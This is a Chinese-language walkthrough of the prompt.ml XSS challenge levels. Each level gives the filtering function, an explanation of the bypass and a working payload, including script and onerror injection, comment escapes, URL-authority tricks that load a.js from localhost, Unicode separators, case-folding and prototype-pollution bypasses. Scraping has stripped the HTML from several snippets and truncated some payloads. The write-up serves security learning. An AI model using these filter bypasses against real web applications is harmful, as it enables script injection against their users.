靶场链接:
题目:
function escape(input) {
// warm up
// script should be executed without user interaction
return '+ input + '">';
}
解题思路:

playload:
"><script>prompt(1)script>
或
">注释:svg属于html标签
题目:
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '' + input + '';
}
解题思路:
<>进行匹配,并将其替换为空。所以不能使用完整的<>,html在解析中有一种纠错机制,并不需要写完整的<>也能执行,前提是该标签是HTML标签,如svg标签于img标签不用写后面的>也能执行。
playload:
<svg/onload="prompt(1)"
或
<img src=1 onerror="prompt(1)"
题目:
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
解题思路:
(编码为unicode是无法解析的,需要将其转为实体编码,所以需要加上标签。svg是一个文本集成点,能够切换命名空间,在svg标签的命名空间中使用的是xml格式,能够解析实体编码。
playload:
采用svg标签
<svg><script>prompt(1)</script>
<script>eval.call`${'prompt\x281)'}`</script>
<script>prompt.call`${1}`</script>
题目:
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '';
}
解题思路:
->替换成_,并且输入的内容处于注释之中,可以通过闭合的方式逃出注释。
playload:
--!><script>prompt(1)</script>
题目:
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
解题思路:
https://prompt.ml/这个网址,因为有网址所以我们可以采用重定向的方式进行绕过。
playload:
http://prompt.ml%2f@localhost/a.js
http://prompt.ml%2f@127.0.0.1/a.js
a.js文件中写入的内容:
prompt(1)
题目:
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '+ input + '" type="text">';
}
解题思路:
>、onxxxx=和focus,所以在这里无法使用autofocus了。但是这里可以将input标签的type类型覆盖了,比如说将之覆盖成image类型,然后可以利用οnerrοr=,使用换行绕过即可(这利用到了HTML可以多行执行的特点)。
playload:
" type=image src=0 onerror
="prompt(1)
题目:
Text Viewer
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
\n\
';
} catch (e) {
return 'Invalid form data.';
}
}
解题思路:

playload:
javascript:prompt(1)#{"action":1}
题目:
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '+
title.slice(0, 12) + '">';
}).join('\n');
}
解题思路:
#分离,每一部分赋给一个title并处于一个新的P标签中,如果超过12字符,就截取前12个。
playload_1:
"><script>/*#*/prompt/*#*/(1)/*#*/</script>
消去注释部分的内容后为:
<p class="comment" title=""><script>prompt(1)</script>"></p>
playload_2:
">消去注释部分的内容后为:
<p class="comment" title=""><svg/a="></p>
<p class="comment" title=""onload='prompt(1)'"></p>
题目:
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n"]/g, '');
return ' \n\
';
}
解题思路:
注意:
\u005c,是Unicode中的反斜杠。
\u000D,是Unicode中的回车。
\u0022,是Unicode中的双引号。
\u2028,是Unicode中的行分隔符。
\u2029,是Unicode中的段落分隔符。
playload:
'\u0022)\u2028prompt(1)\u2028-->'
将playload的内容复制道控制台中

将其粘贴进输入框中:

题目:
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return ''
+ input + '';
}
解题思路:
本题是将<>中第一个字母替换为_并且转为大写,例如中排在第一个的字母(a-z,A-Z),无论大小写都替换为 _,即替换为<_BC>。
ſ通过大写转换后会变为S,可以通过这种方式绕过。因为js对大小写敏感,所以可以采用重定向的方式绕过。


playload:
<ſcript src="http://127.0.0.1/a.js"></ſcript>
题目:
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return ' ';
}
解题思路:
',所以可以先将'加入prompt中,利用过滤的先后顺序进行绕过。
playload:
pr'ompt(1)
题目:
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
// directly "parse" data in script context
return ' \n\
';
}
解题思路:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pRJqo0Ay-1659157785025)(https://s2.loli.net/2022/07/30/SsODMf3vwl9uFKm.png)]
playload:
"(prompt(1))in"
题目:
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');
// ノ┬─┬ノ ︵ ( \o°o)\
return ' ';
}
解题思路:
prompt这几个字符中排在最末的,在30进制中表示29。算上0,t正好处于第30位。



playload:
eval((630038579).toString(30))(1)
题目:
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '
'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
解题思路:
JSON.parse()函数要接受一个json格式的字符串返回json格式的对象,如果传入的参数已经是json格式则会抛出异常,传入的参数被解析成json格式,格式不对则直接返回Invalid image data.,再经由extend()函数处理,extend()函数把默认值替换为指定的值后返回,然后是一个正则判断source对应的值中是否有不属于url的符号,有则删去这个值,将source属性删除
每个对象都会在其内部初始化一个属性,就是proto,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去proto里面找这个属性。

那么基本上就是构造{"source":"'","__proto__":{"source":"onerror=prompt(1)"}},由于前面有非法字符',则会删除,但是在替换的时候由于过滤了",无法闭合,那么正好有一种特殊的替换方式
| Pattern | Inserts |
|---|---|
| $$ | Inserts a “$”. |
| $& | Inserts the matched substring.(插入匹配的子字符串。) |
| $` | Inserts the portion of the string that precedes the matched substring.(插入字符串中位于匹配子字符串前面的部分。) |
| $’ | Inserts the portion of the string that follows the matched substring.(插入字符串中跟在匹配的子字符串后面的部分。) |
| $n | Where n is a positive integer less than 100, inserts the nth parenthesized submatch string, provided the first argument was a RegExp object. Note that this is 1-indexed.(其中 n 是小于 100 的正整数,则插入第 n 个带括号的子匹配字符串,前提是第一个参数是 RegExp 对象。请注意,这是 1 索引) |
案例展示:


playload:
{"source":"'","__proto__":{"source":"$`οnerrοr=prompt(1)>"}}
题目:
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');
return '
+ input + '">';
}
解题思路:
//和字母换为data:,最后将\\、&、+、%和空白字符,vbs替换为_,所以不能内嵌编码后的字符,由于js大小写敏感,所以只能引用外部脚本。Data URI是由RFC 2397定义的一种把小文件直接嵌入文档的方案。格式如下:
data:[<MIME type>][;charset=][;base64],<encoded data>
其实整体可以视为三部分,即声明:参数+数据,逗号左边的是各种参数,右边的是数据。
MIME type,表示数据呈现的格式,即指定嵌入数据的MIME。

playload:
">这是网上的解法,但是我尝试以后没有解出来,或许是因为浏览器不支持大写的base64。
题目:
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title, index) {
// title can only contain 15 characters
return '+
title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'>';
}).join('\n');
}
解题思路:
/*,但是可以采用进行注释,因为属于html 及xml的注释方式,所以需要加加上标签,在svg标签中支持xml语法。
playload:
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>
"><script>`#${prompt(1)}#`</script>